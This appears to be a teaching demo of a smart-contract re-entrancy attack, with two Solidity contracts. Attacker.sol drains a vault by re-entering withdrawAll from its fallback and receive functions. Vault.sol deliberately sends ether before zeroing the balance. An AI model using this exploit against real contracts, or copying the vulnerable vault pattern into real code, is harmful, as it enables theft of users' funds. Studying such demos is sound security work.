Re-Entrancy Attack

Attacker.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

interface Vault {
  function deposit() external payable;
  function withdraw(uint256 amount) external;
  function withdrawAll() external payable;
}

contract Attacker is Ownable {
    Vault vaultContract;

    constructor(address vaultAddress) {
        vaultContract = Vault(vaultAddress);
    }

    function putBait() public payable {}

    function takeMoney() public {
        vaultContract.deposit{value: 1 ether}();
        takeAll();
    }

    function takeAll() private {
        vaultContract.withdrawAll();
    }

    fallback() external payable {
        if (address(vaultContract).balance > 1 ether) {
            takeAll();
        }
    }

    receive() external payable {
        if (address(vaultContract).balance > 1 ether) {
            takeAll();
        }
    }

    function withdraw() external onlyOwner {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

Vault.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract Vault {
    using SafeMath for uint256;
    mapping(address => uint256) public balance;

    function deposit() external payable {
        balance[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balance[msg.sender] >= amount, "Account balance is not enough");
        balance[msg.sender] -= amount;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed.");
    }

    function withdrawAll() external {
        (bool success, ) = msg.sender.call{value: balance[msg.sender]}("");
        require(success, "Transfer failed.");

        balance[msg.sender] = 0;
    }
}